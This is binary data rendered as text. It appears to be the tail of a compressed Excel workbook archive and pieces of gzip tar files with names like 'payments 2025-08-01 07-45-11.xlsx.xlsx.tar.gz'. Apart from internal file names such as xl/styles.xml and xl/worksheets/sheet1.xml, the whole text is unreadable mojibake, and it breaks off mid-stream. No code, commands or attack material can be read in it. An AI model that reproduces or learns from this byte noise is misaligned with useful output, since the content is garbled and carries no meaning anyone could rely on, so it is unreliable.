�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK{�Z',�eY�xl/sharedStrings.xmlSV�RMKA��+���XP�쮇"�^?`�I��mg���<$Q�z�lk�Կ��?�]�P�������>��X�3�I�<�^ l�Y,Q�E5�y�n�㣃�.%R���6�mz�%�8����TH�6�
ˌ�j���,!����*�Fu&È�5��\�M�U*�0�%-᝶�^�
�oSǒ�c)b݃Tw-���o�d0'0�	$�)|@�J:�7dw��d�D�
F�:��Pw`���5����	��3]É�%|�1���>1WS\,]���2t��;6(y���!����y�S/υɮ �[]F �Gx!p���+�U��R�0�]��Y0c^��:��/���PK{�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK{�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK{�Z�f�m�xl/worksheets/sheet1.xmlSV�VYo�8~�_!轒e�'l��&�	�l�LK#��$jI����!�r\�5������P���}�{[�r�GA��LXJ����u�i�{B�2%9+a�@���Mw���5��`"*���� �o�W�R����$E�����UP�%c� E�
�!�F*���‚��"L�9,�h7,�PJ�!'skZ�m����r��k>�ci�^A��d���R���8�����>�e*�s�*�T����,iN�Ac�^�L�W%�d��9b^$q�$��O��S�{�^Fs	�;K1J�z��9--bS ���l�l�♮�R)�4�0�iJ�U�z���%�|�+���N8kO���HH5�j�%co�x�*lz�f�����W�
�3�]����KbHW�o�Ra�f~�{���d�d��|��}�$�nቨ��dR�B'�/�D]��/(5u�P�Tio�2�'lIE����1�d(���eSPUw]�n�{�&��lr���{q�X��`��:�N[��S:��\�_�����aǑ����T���c�[��ULs�F`*?��=yP=Z����
�(����-������~|1��\L��7�x�	od�F�	G�0�pl�
`/�����T��b/���CF5d�@�����6#�H2�r��p�t��nL"��H��J����n�Q4
�
Ⱥ����7.!�71z�c�4@��c\����;�a\bm������.p�
|��G�\��P�	
�a����=h���߶}umq�v�ڎJt�ڎ*�w�m�7�v\��i%��l�Ǧ�u};�*NK�X�W��z�]�6h�y����&��(��q~`x�����5���3����z*	�"cLւ��@�
gP�����c��L?�f��#x�	Q�'��]Ψ|e�\���j(*�G��lW���|���i�,4/�Yc=���ʦ�aA���ZS�I�ߍ��&9]�Jg+d��LIS���qָ4э�^��+wWP�f�+d�Z��%i��Ԗ�̧R=ޞ��Kئ��ǩy��PK{�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK{�ZG�D�Z� [Content_Types].xmlPK{�Z�78�K �_rels/.relsPK{�Z�$�V�� �xl/_rels/workbook.xml.relsPK{�Zad���E �docProps/app.xmlPK{�Z�e�r �docProps/core.xmlPK{�Zs�{Y�� 'xl/theme/theme1.xmlPK{�Z',�eY� 
xl/sharedStrings.xmlPK{�Z�A	�
 �xl/styles.xmlPK{�Z�U���v �xl/workbook.xmlPK{�Z�f�m� �xl/worksheets/sheet1.xmlPK{�Z�KR"x�# Jxl/worksheets/_rels/sheet1.xml.relsPK�PK!4�43s58b1/payments 2025-08-01 07-45-11.xlsx.xlsx.tar.gznu�[�����yeP�۶m�q
\�C#AB��5x�qk�!@�܂�� xp'x�}����}�W�ޫ:���ZUs|Us�5ךk�:������;�X�B���`�f&�vv�v�F�Pv;Cw['GJNNV>V%/+7+��f���_�q^�����@�|���99@��(9�w�3pvt2t���o�?%<>���}�#-^�
!x�����^y5w;G=67kU
�4��B��:�lj�0
Ͼ'.�2�U��p��Z닳��I�8[#��3�k�N���o�V�g��8LU,��-P�w�hͭ�_y�[4���c���5z���>t�����\�h��h��cv�a'?�Ѭ��{{���w_�q"Sddѣ/Y�`4m2��:u�q�)0�E7Ii^+����fV���Z�|$}�K��%
���+Q�j��mG	v�N�G>w8�(�roK$f����1r�N,�9�O�φ!�t�z�z���ҷX��1��L xs����`à*��}-p�_[N>D���|�&�N�B~)��~g5�t�`���Q��}��G�:�{(��Z^��{� ��{9L�����C��a�.t�CO`�gv�[�d��`fg%� ��V���
�Ɖ���\Ō�w���A�����d���fkH�w����Hz*��f5]����%Ϟ������_���Q���Z��ŞpUo
�Or���w������1V��2w�6uf'�[V�$��5�=rW�c���j瀱�-��O14��h�/$$��-�~��泧��I/�
�g��>��F���_�t�`�e<�Jm��^i��
ɽWܬ�t�+����#LqRǽ���+.�]�e��tu.��k�e�ym~^��J?A�B��.�M����{�(7�\��$��%_�r���=c��=��!HO;;���{���6J^��n�XB�SJ^��֩<�D��Ɂ�a}WM�+���;h�U��
�d����b��Ho�ö�dh���I����)�ϬiBz{�31�uбB5��DoF�����.	�֢9���N�׹�%��
�ݏ�v(:��8�:�~&K��N2�A�`v�����q����<v���C�I6�ј������i���8C�-BS;]W�ºZ��r�J�Z]����M�	�ŀ�k1:�%8ԟ��ͭ�Ufa�2E�����3�i���&�X{ϗ�a�1�~�D��{zY����#����q��U	l՘a$b7�n�Ӵ_J�Fu�G�;x\>���D�O���.[$���rsR�5�}���η`��K�v�t��5T�
�b�Q�����n��T��%�/n�J�e��d�88�`��杜��:��-ř��k��2���9Ä�m1n����؇&^xǕ_��S�$��D��W|߸�
�����rmw#>�)ta�-9m�K���˳�mlu���ȣ�����@�@��Y	�I3�Jl��e�w�uw1�9��s�ί�Aa&	�ݡ�Ͽ̲��J�y��
j��8��-�y�6_�,n�,T�|1�B��C��q^���[��a��o�d���-�3�c�if�5%�ª������m�!�p��6;G���7b=*��o���^�k:�O�~3�4#��7A����>�)^)%��*�	&3�?[ǎC	;�nG�ǯ�Kj	o�ȇ�ZN-Q��sY҃H6F�>�k���
����-��^���q4�;����E\ԣ��1���?�<��0����tso�pO_X,=��7]���_:����K�H��
���>�]S��ev;-��cr1\e���_J�\EP��L@�}��O���)�)�y�q�D牞z�>/:�
�9�[�r&�ּz��P$�(O�&D ���e�>9��ؘ�y�%Ӿ�"l�~ۡ*vc]�5�������~|n�Xd�8��Q�r;�c߾���k�'߯.D��~z��1�]�p?���Д�Bn.k��7��m��ʭ�"CcT8�'9P�RB��Q����;�B�B;�W�x���3τ�Cx�č�}�H������މ�'��2���lF%�D�c_���>#�r	�0�B�k?;w��$�X9�4�.3+s�%�9HD`�+�ӘU�!t�@�R})0�M�s��FL�ŷ�O�c��Ŋ�1Ne4qbL�v�����j�>���x��۶tx����כ��Y�� s�iS�G�~�i�Ė��V�<��c�~G]��+�mI��0pQo�E�g�Nˢ6�!��eG�O]ȨN��1bZ�#N����f��s/x���&��~
�Ҧ�W���8B��l�,�.V��==�]R��ڪ�4hL���\q�BE�^s���F���]f}X��>߷.W�:I�P�;��ogx32�2|nN�L�'��~^n��y"1�]�?m�<Y������k�;�²��m��Gv<{����&�L�`�C��//�<�F��)ib�$���_07�����,�m�|z;��&o;:�٣ַ�2���g�m��<�'NaAC�-�2���(��C�sµ?��E.�'�F<ʼn�5�mb��-�w<|�7�m��'�F�{�Ĥ���k΂�|�,ày40#��X�DԶU�B�	*�'g�Թ����_;����L��C�C�S������*�%������kJҹ�U���֬�B�����)��%��Y�Gf�brJ�d�>�WW3L�_�xb.��
�
>
u&;x��C�1������o�?�4�u[/�Yzj�6�W�z=刟+qI�6��p�����	�}H:����G2��w�Eޠ�S��T���:�֡ǻ�H�ro��Z& �8A�`l���J;���o��Vz��
����� �
q�V��"|�I�%<h���4"��,�ɩ�W|cAa�|�\��?=�,&�u`O�YD&zxV��ީ@�d�-*sD�2�f����UCó6���}8�����[Z�\�tl�ls[b||'�Vm��$�z+�k��3���FP(�])|$O�x�G���S1H/t�89�[�D���,��ot���`A@�~
�~����!���u�����Z›G�B�N�R�.�0s��G�Njz��ih��e�cH(a�/�*�p��b%')P̟8he>���We�Jۖ�Lp.^V�o�P����U��4V�si
L�<9:ß]9�2gq��:(�jO��^�w}.���@旼=��o��6צ���u��wM��9��[����dV[3��j}^����s^'֊5.��!�<���6�lO\��6\;0S�0��cVg���X��ZkvT��X�?�_S*־�
�<x�gSO!��㙏lǸ?|�G;����q����A��|�hn�`b���`ak�W�o���,��z��LQ�p+3��a�EI{pШ��}>,�� ͔,Ƭ^�=�<�/1��Y��P��VV��련Z���Y����)t_�I�EY��H�@�qG޳����V�
��W�!_<a5��s�ב���*���� ���Td�P�A`���?_�����s�F��<���A�
�M�
�H��G�N\����ܺx�.��e	�#����}��N
�J���LI��P�� ��-���G>�R�ح4�`?��W�XlT�p����uZ�N��x���Ҙ�E�,�Z�wU靖ZMzJ�<q?XH�M�_!@����#���"�.G$�H�+��D�^��4g�Ŷ6ǰ�!�cY�o?j�����L�%|�B�� M�)����P\,;@OPj�X2%9y��ц����<��>�O #�8�K�CU±���SM0��T���F?��S�Sb.R�p{�2�{�B.�zWGk��zA����UG�U_�5�^Ew��>�8d�8��r,��%u���G)�ZM�^�W���/����UʡlD&� �'����|���hޘ8�T���hމQT$z��//Jf�K^8ښ��f2���_�`�K5��ʫ�G�.Ӥ��\l�i��$u���JԳ��ф��ެ��BU���2���z�J ��z��Q��Ϩur�6�W�k��R9�[.4_���L�RSZ�P���Ԫ�!!M	��р���AG+.����FC�\��oXB�p��P��9V��WQ�{�x[;���?�@G���+�E&l�_����5/77ņ�h�y;y,}���sQ�D��8K��$m�RGg�01�$����&�f�{�l%"�;9�2�#�<����RWD����?}�u[�O��P�-2h�l�IۧKu}3��>�g�>�D
�S�>������_2ˍ���@Z3����"SB�-Y͓�#���	�E�����X����L"�LP���yt���p�,JqG
�lbsT�%���ۯb���p.Z%�h���~�m7N��\c}��_]���e~�e�TMې��q�(VJ�����`��YC1=��������ˈ��`g�1�)��N��/��Y�D:d$��q�G�����͓�t�/1���������N��|#�k��Tƅ�ydu)�_n�v��h�L��N���bݸ��{�0n�ԛ/��K���ϸ����#r�U�?���2E�H�~΢rA�V�nS� 뉷���jR������M=��v�Nwq�U���r6vb��M�VJȣ��>� �*�ڞ�	q�|�O�^�9�4�[��4���d��CI���G%�|��fX��� A}���c�3
?3s
�>��q����5�m֮�[��B+����4�}O�P\��u�4S���:�L�6�Uw^Z��;ݨ>��}��$XOj���i�����_�8w�[���i��yu�2s��E�Mר�5a{i�՜�ݜ�}-�G����cU9��daTI-�ޥ�#݇����;Q5N�nc+f��G���yZ��ɒ֧�r�T�+��x��oԷt�\O���g��o3���R����������E��L�T�`��)i�Ӻ��Aс��Ql����zv5�4}�jy\:|��N�h���r*���=�c�R����2��r�es�A���R�ͷ1�$�e�����'�n��v5�=��ad����+"�$�G������#�?�*~J����/4ݼ�o�dP�rҜ�ε+L�&k�+}s�|��E[W[���u�F���(�9F�H��'����׾$z�ՠ3����;��r�W��r%�׺� !Ó�EqVS�bf"�
��w�/��<-xH#w�"�/#�����$⿯Ԭ$�aA��,��1�
CK�+�
k�Ϸ �&��Bd���*a2�]6�Su_�����bH�8�� ��]��0ҭ.<��'S��?�q���H�պaۚp�bg~_�ÆU�;K�}�=p��?b4[�F�Ɣ���m9���z�i$Ïb�3,hD`q��v�^+����������'�A��OW�5Z#1a<U�"۝���<�O�>�LMTI�|�T�S�n����|���%N��y8��jh+!�ض�c��jǭ�Y.>}
��Y����S0~g�.f
�ֵ�t$�J}'8�9
`�y��R=6.�N4WZϸ�F-xn��P �G�9���B�p�X�H�Nb�:���rt��i���% �	dz2X��<沙��/��&,kͤ$�h��r���v��z�����c�|�ޚ
�����}UlX�4��3&�������D�Y3ď��aDH!YK$�iY��w�o�9�е"_ٶ����=m+8�G�WFY���`�e�t����Q�7foz�_E�����|�/���р�i�44����""1A�Ԩ��R�C���k]�&N]�'�A/Tu8g4o�֏��͒�W�@�㪕�� U#�]�1�#�Y�ک����l&�G�(uJͤu�on�E!Vaj�1ԁE�������4
��6��d�{Xx�(c��5���;+7,ŪNt:;�9Ƿ�*涬|���Ċ���RZ�i��A,΁N�ᇂNi<<�l�h��P�k�Gć �3��N�e��@�R��&4��T#�8�Iqi��9��,�l��(�ϕ\��`9kj<R-�jV(A��
��~�S��~)�.�?���-s��pj�����\<C)�p�j�;)%��.B�V����bvnW&!s]�Es��C��-�����ܒrO��ɜe��l�=怣��֝�-!�(��LV�}�4У|���k�̺�oVb	�„��aө-E���v)!�M��ۋ����	��߯@�	�G�PN�1�"��4�W�4�q߬&g��Ή*y��uu���G��?w+�zބ?=��oQ��	�3n�_�*ŝ|�~�?�6����Y���_���W\pD7/���OhvYc5�Fao�����esO����ѽs���|r�E�X~g�́~�oh�‡����U^�X��SԦn�/ �*������I�����ec�/r���tMә�0{Q�1�wA7]C�g˕��>�M�:N���B��=N˜�XF<-�df�c9{���I�A�m�=L���F!�mխ%Yb&���:�w�r�j*�1m��ϥ_��x;,j;~X�c�4�Ir>N�Μ�#��<KJ�-El�.��"�j�J�6�`�ϩS��g?D(��h�r�E�pj�yR��Ӛ�Fkq�eLzt�¢�,D3��2��#�d���|���N
�+��w̴յF^�W��7�ѓ�N��!*�4��/�����
����_��0�#*l���H�0t�~�
��5knjmH���dd}��s=gq����.��H���s��k����"=��˄�^��ܸF<�,���gjꅉM����,�o�7�%.D�͇d��!+A��#��6�_����o�n�<l�JyO�K��wÇ��_
s�G�}'�w���_y�G~o6�n��WkD��<������O�w�;��z�W������gxX[��0�xXi�n�p{��)".����w`�S���~�w����W���Y�v2)A��0A���߻����������I��p&PK!��w�43s58b1/payments 2025-08-01 09-00-13.xlsx.xlsx.tar.gznu�[�����yeP�۶m��$��� !�kCph�w�@�@pw��N�`�����>7���z�꽪3�?�U5�W5�\s�����=���������Ē�jo`j�n`k�n�dhea�5p�6�qt��r��X��@~V ���������^��9x98����<�s9���������
�?��[�B� #�a���ū�`�cx���8>*���fk���jm����~z�
Ė���`�M�F�9���eR��x�^������J.:>aJ8��P�����ƞQ�����}|&�:S5���c+D��Z3ˊ7�V�$엘b��x��ۇ�X�]$�&d$��Z�b���=������h��ɉ}}�}�=W���HY������[4B�]A�@�W�0Q�[�4>J*��5��1���e�O�q��� Dᨣ4�T}Z�i;Q�ݸ3�/�8�
��Z��^f)�E�?�8���|�f.�»���n�-�/�hb��	�l-5u��4��cT��sn.��*�ǂ)R2�b\����;�^A�,����s
�5\�x]�f:�,Oa~��I/�ΣH`X�Q}{c+v�?�!zĢ��{䁚�S�C2Mo(���
i�j3�6������-��i�;">O!#�΍d�E�\��
6Y��Z�݂i���M��� .�9
�fSr����Gt;%��h��C�t�{sZ��S���A�)N��S�n(�*Z��ƪY}�n����$w�j@b}�n�8�۫}��8�FP.+�����0c0M�$���E��>;jpȸ��H�x6p�1۸/rDp-8pU��ڹ�C5�W��V����G��<z�Պ�OǸ@�-
�P�?��''u>:	[��j啖��,c�����\`M�������+5R��YH=%sI��{#W|�䦐�3�d���+Z��=��L�{�_�G����M���>��"�����d�>���Ĕ��x�}&O:Y�ij�pDυA����"�.�Be5��:e2�O���%�~���l mz�0;I�����Ň�u
p��R��m� f�6:V������(��qK��5��z4P��`��x��Vb�����d}��W'��=�d	8��IFP��=��Ᏼ��4NS�Yb�\�q�0���ڛ)�9O��ki�3D��7���u�.n����"u�F��������0ld��[
���#�Z����<1�\KzPdw�,RD{z�0ә&8�kc���}	
P��F�ƹgVt��d���U�iO�-K�kF�{��5�&R
w*��Z^!�p�XE%2~�ݽ�9"-EU�#�*�ɼ�3�t�E#�W_��8�+���7x��gMR�TFE��'��|q�T��,�U�OBb�	&�j��ɾ�@ޚ篣���7�e�U�^Ns�"7c��=ƕ_A�������eʸı[��(�ʪo���P�O~�K�+�)O�3+m�Y�\gT ϶�m�;�|�(W���w��ʡ����P,�4{�Ȗ]N!���n����v���<��n���_��E+)t��.� 돘!MlsJR=���ٶ�fW�2��*pyt @��vS�����z��k��1���<<=ڪGV����D6]#�<���1���$?A�dS�ʊ-<@ʔ�Ou%0	z�,[��y�T��b��(�����t}V|�2���Y�R���~F�� c�o
EY(��AU1@R�ZIRA^�N���h�QiE���N��X�y�W��GR?K�nZu��	&�%w�-\D_ܘ{�|N�[9��Ȟ{IC���g��Rm�z;M��9'��N�-c�v}Vi~���د�,ڕ���):A� _�L?�ՂRυ��p���N�i�+<Oe�A���~E�s]��%�d��<���б�T|���znl��۔Br�@4{9������W��<4��|�?W���hflm���/�4���ۏT��ꫬ��$����1p��"k�%�J�;�mv�_+>�~u&�#0��mR�)힁���qI	-�6��`�n��8:Qjs?�‰>ͅ�'�R���%����YS���Û�4ך}.�ʫ*n��+E����#�c�J�;�T�������a}�}�<�7l���9��0�����U��?�l�0�2�¬ęr��w�" �A��ƴ�^����K�1gL��6bz@(��mZ�CM�x�TAF>��ճ�	�q�=��'�S�tڗ�.�ڟ�zQ�8�Wf8n	�(�45�����@KWf�����u�ǻ� ,۔4j��.鮵��h�n]�B8b=�d����4BH�u�IB0��Aӂq|�	ǢTW׌z+>}PK��e�lx=_�)�7����O#bG�b��⫴�$
Q�%��P
�����1��z����I�i?��|�zU���ũ+a��~�7#S(���$��e��Ny��"�Z�v!�ӵ����J�6�c�`,s9�&��qPd��'�V�d�:�-�4\Ey6��:^��h3s& �w���\��c!L^/�
�Vɧ��ir�6��(#]���O��/p��ߦ�ɳx�6�S��Ѣ(1h�㉢]1�^;%��A����r�و'�8�fr��(c�ꞌ�Nm�x�<U������W�n�IP��E8$�jH�+��Ҿf[D9Ie���:/�[]����NŐp�e��P��Wr)�d�#�Z����L��.��XC'�5$�\yĪ8z`�ծ��C���(��&*�[�F�brK��d�>o�T�0L\{`.��
�
>s";�y�]������6��&����޺%�-���>9��\�6C-�@v�#�@��7I'���
a4#je�1;���o�.�ʈL6���8��["�hk�(η�"���e���Q��"�F��u{a�
F0���|�*��r)�E��#i��m�B	H#��ʿS��	95�o,�}x_)WS��r��m����F���w�:�K��\Q�̸�s�����-�~>oNf�ķ2��j�C�17��߬w�-0��I�U]x-�����C�ru���ѡ�~4_���{���31pd�89i�Bg]E�G�iNJ��{s�!ja`N6?�b����0{�ʆe� �Fg&���6]��q@*���!�LvV�dIW�*

Æy�\o9���|e�"N0S����S{��'�5��,�i;��	N�+J��@�;nq�<�(J#�8綠��Sc��9U�,Sq�'/��1��u?��+r�����/f~��'y�`��>�*�G����h0��+U�;3��Z'�ڸ��,T�3��Py	@ڗ�bmXRa���-Sl����i�v��>u﵂2u�¬@<���^M
�.u�ǵ.M����ar ����À}�
���^�$[ƃ�� �2���k�/#���}�l!��{3{c#G{sS��~����ga�3|f���{���N;,J��c�zw��Ei�d1f���P���~���Nz�QQ�md�=����z��C�~8��AԚ%��'�53��?��:��{�2��ޫ���u�"�'-�ry�:����l���Pz]*�@�m/0�7.X����/c.�������*�1M�g�cr��M2��^�J7��3���oE����md?Gzm��:F/%k�Wy�$Z�0��`��m�C�kX�)�*�6��ZK�L,6�����
Z�.Êx��K�Ҙ;�X�%4��ӻ,4�uM�y⾳�P�������/uD�F�:�|X$q���x&��\��X�@��N�e�6��‰��ǙXIx��n*#NüB���Ap�dl���bɔ��Z��TEV���͞x�<�
�-OW��4��c��R�1|�n�T�R@�@�U�D����˨�E����E\���	��W�7��^oɻ��Z�{q(��2��x�s��2)�:
�>�7���^�Il�
�6"c$��(��|��'h^�8.T��04	��(*=��W�$3�%olLu�2���n�1�$����U*"�VhRq����5�p��D�u$X�i�h�6�e� ʂ�O��s�V<~%�Dy���Ǩ�g�:�Y�+\G�塩@��+��m�A֓6Ԕ4T��u�刈3�>X��}���ъK�jА�#�����"�31T8{O�q���3��
.�qp����Q��$��h�	?���a�Gw���K��!�AK߫m��BT�Ad$�B�)I�\��I,\[�y=	�Y1���1�iȾ8[�H�n��]�L�����p<���
Qa]e�_�q�V�3���%f
��|i�t��M�^�a~f�3J���ۋ�ϫ��eӼȇ�n
�u#�(E/*%X˂�,���|����"��|��&M"Ąz�&�8.�xc��&�dm!�i\!�R��B"���E�W̒��71��G8Wm�Y� �{?�AGI�q��3�/�W��b�_g�#UҾI�X�e+�wz��P0y�#�}�ร���ˈ��`g�6�)�s~�E���{�h,:��ش歀KLڝ}��".�S��I�X�IKd6d��-��o�B��b=���ʨ(3��>.v��=,�^kzv[UZd��XV7�跇�'��͸Z���c�X�`�7?�D�{ey����g��ѫ����������j:�#�z�-寺��_M޻���ѦKxߺF�;;�)qjf99�E�%I+&�S���v�rEmG�0i6܋'`�ޒX��K��,��T��}I�x�"|�s�Y��|w����\�!������r?�b#�sR�HU�*�k��=Vp�%�IWl��n�`��E�	�L�^�\�u�ߚ�2-n�NT?ӓ~���u�BN�p�FxQ��#>s�N]��Z1s�!�B�}Qb��|��^�o�$Ŝ��w����:]�Ap,�F��
���Cӻux��Q�8��&�'�7���NJٽ��:ܼL+�/8]v��!R��j�h)O;(�I}F����M�x>��6S�'� �9��O*��\�._4z�Ln%*,y6��I��ex0�6/�b�m.�#j�:A�Ɨ��X����v�Im�Վ�`;_W�|�n�/��>_���^�7"o�4*��\K��6Ŝ��._�y{gЍ�߯��a�g]�64u�
�+	@�ߑ�`fl���ǿ���$]�y>���+
WO}� d��4���K�J�㩺�*��vo�/|�V5��P-����)
¡��Q�R��	h���uo���i6j�x��*ί�{���W��ѹ�28�^�g53qURJn���{=��`�C����:��l~n"��*�*�YD�����Q#�p�ĸ���^�s��,&s��"&�J�����ԖAv��[�Q)Y�i�4�cwo	B<���C���~2�8o�(��I�jtGfpL���Z��J�鹄�u��Cg:�cF��[HQL��҆�`S'֋N=y?��Ϡ���=&�{�X�]�L)BA���O�Ch}�nj5Gc�1x2�	Ev��`�=�O�����'�%V?�)�)Q���{u]?{r�'��<�r3<i��
g�ھ�c��bǭ�Q!>s��Y����Q0��rb�2���۬;M��	N{�{�nG�V��˃͓�5�S
��X$���%��«��P���v�j58�E�茱��ۊUET,~c��B2h��抩��
/��6<kݸ$�h��z���n��j������m�b���
��\�?j��&6"p�S��k����{i�,1�)���14k��6-��}W��!z�p]3��M{��ó�‹0=%�%(�5FAZ�i�˂��^?�(qS�ι�k�j�m���A�&μ(ҫ���
�I��!a�Ч\W�	zg��x����:���qj*�	��q�G��o�hH]-Hy�	4��,͹���(mS'��Р�0f��.�g���Z6���e�Qj�I�j6��.C-%�UOb��>6(��+�4��[�L���c�� ��L�r�pwU}��>���r��a��߶����}+�f���C�H,D��!�S�L'�#�`ۗ�����,ttPm�!��c��ЄEԙ�g>-.
�7�<��
|%��c��:DΊ�Tӱ�B��R�8e�$�|a^����*��O��j�L{�=�ŋo&\<�)E0#���)%�!��B]W!Cc�b��7����9������-j@S-ܒrO;��Ȝd?����}������Q���Z�0�����&
���7E<�qK�Y�$`5f��6\�)6��r�
J�"��L�n	���].���p*��*d��Cd
���6��m
�59D�hܥ���̆��yQ%CwU���`T>>�1>;��=J�w��Fx㷪e{�m���(�Kq�6.
F�ưɝ�jy���^�xƅD��Rq���	ͭ�c�rDM�Q�ٮ�opAݒ":C�u�1�=��q;W�Y���olW��7ֳ��P䅍��0E��'��!8���иL�����}�Bg�fj[�.LG�?��y��5�z�������nऱ��b/f���$�ɉe���Mf9���K�~��,�~�K��Y0�x�^�V�%f�V!��qG��U�SU�.��b�t�ˠ��ގ���N54�X-/x�\��xg��YpzG�%%�"��zgd�l�G%cY����%@�s*�*�٤�z�If�qZ��ݖ�Nk~�e\zl�Ҽ�$D3㩡�:��=�t�	{S��Qd7�
���fښ:CO����;���o��#`e�?z��/���������_��pLX*l���Hݕ0d�n���5gˌm@��q��,&���F��-a�m":��F�R׺���% =�>�넯�9�^ܸ�<�,��Gٵ
���Lq�����wߜ$�Dn͆e���7��0�p����(����������~&�|���K�ᯭ��
�G�}#�w�_�?�=���k���3����w�_�_6�G��a�����?b���������g�a,����樂n�6������������������3K��,;�����=�&�`D
�����?����"[��&PK!�8v//43s58b1/payments 2025-07-16 15-16-08.xlsx.xlsx.tar.gznu�[�����yeP\۶n�����	w���4�K�`��=@�	.	\�;�`�\��g�r���^��~���s��U�[U�c�9��e������i����iit�t��Y؀8-\\8]<-퀜.�N gw*.~v.Avn*n����K������׃	���<� � �?�a�<\��T\�;��t��p{��o�h�p�22�ő�|�L�!p��F�`g���t|]@�&>N��z@e�g�n.lً���J��ϐ���pY4�ͫ�u�!�g*��)�ϒ�-e��lܞ�{��[��39�
|rK���c�c�]Xcn*�1��u�6�Cwi&�<ǔ���C���.���E*eMNz�eh&]��q�5y|�3́&=��/D����Bɒ�2'�}َb�e��V"Ỵ+̄�E�&u������Q�Rn��I���2�\�5S q��u��M�n�X7�C���!�Ei�o�t*	���<�����%�A���,�+'񮧯�Zʕ��*0>� ��^�v��7����w
�E�M!�_�)3r5�|Z���HğK��;L�1��l5]��_�Ow.�9��<��"(��@�2,��@���ѝ���4��ws����Կ��2����S�4�N�\����^��I.R�	���%�
�����P�5��@j�W2W�:`@�[�+?���bC���>{&��US:%��LT�z�%u�ɝ�J�	o�� �$���n0�Z��!ƪmc�^ݶ��8_�jHjc�	t�W��BV�x�8V�=*;#��s8m�������W��B�4��
+��f$3������a����U]�K��^���Q	���#*�Q!}���#矁��9X����/A�|���-jͅ���s�;s���\h=D�Q�V��B�L�	rRNO�lZ����u�I��\%���C��|76�=�FO�cQ�f'����m����ũ�1��*�`ʫʾ�9U%/�<9X:l�ͤ����
���^S�:>�G��Uz��,D8j�J)�.;l��4K�
A�Ċ��̺�r��R��u�f�:V�ފ�����Qk��%��z<��� �	�ߵ�p����� YXeՇ=T�,��$+0P�
��Dz�WgiK:/pa�^�r�
�PC,GE��l5��O�

d��W��[�8��~��ɶ�A�^��i�!x�P۩o��$�:-MOq��&~���Sу��u�>C����l3�e���!���[ a�{	J�Hd`�ozń���Ery�O���
��H�~��L=�������P��Ę\&Ve�b�Twoc�d�FkY��r���S�t��V��@Z��$���!�9���)T�����~��R�9\(i���m�֝ے("�`��ፊ���0���
�ʅ=Q�]T�wv�œaB܏	>��b�؇��xǵs���G�anRX+��!^R������;|HN�˼��*N�TR�p��KT9�?n�tGT�������9}�շ��R�e�f.582�(��#<��{���7��p~�
v�E\Q��z���[e�a[$�ak�>FE���*����6���b����̬�����)���:2�@B9���M�Ҹ��ʦ$�����ԎQ!�6lB:+	�qq"/��7%����_c���N��ҁ�eى��aE���q���h�bR0�����㳔J��1���� ���:��$y�*�b{
�1�zRŒo(g��w�ݘ_Z�`Fcv[
,p݌\��رZ��;�R�~w�!�נ:�?��-���>c�hm5�ZiUۺ���3w���0����
���6,-�������5A�Ԛ>���̷� y�"��jb�ѓ϶Y?�����`L�� ��5���΢2�Me���~��o��c���Z�b�?�ɇ����s��u���Cmlhc�#�g���ك�b�F��z�
fM���v�׎@���ρ�^�� �zBe�4�-��50�m����~{�Nj��c��C��8�'�@�2B��/p��#..eN�e.��}x�5�2�3Moud,���Ț��JEdv�ԾuEX �e�9��(�%�lߐ���W��e|�ٹ��p����H�VM���4�#���sZ��~x��
`Pf %� �:�(�u�ԀDr��)6��t�Ɖ��>.|��c�X�(IӾ>��g½����ó,��O�)�<����xl��k7}j�9"u&�:W�̴,~h4�lL��FXv�h6F]2Ykӽm1j[2D8d?v`��L:�o|�E�`�
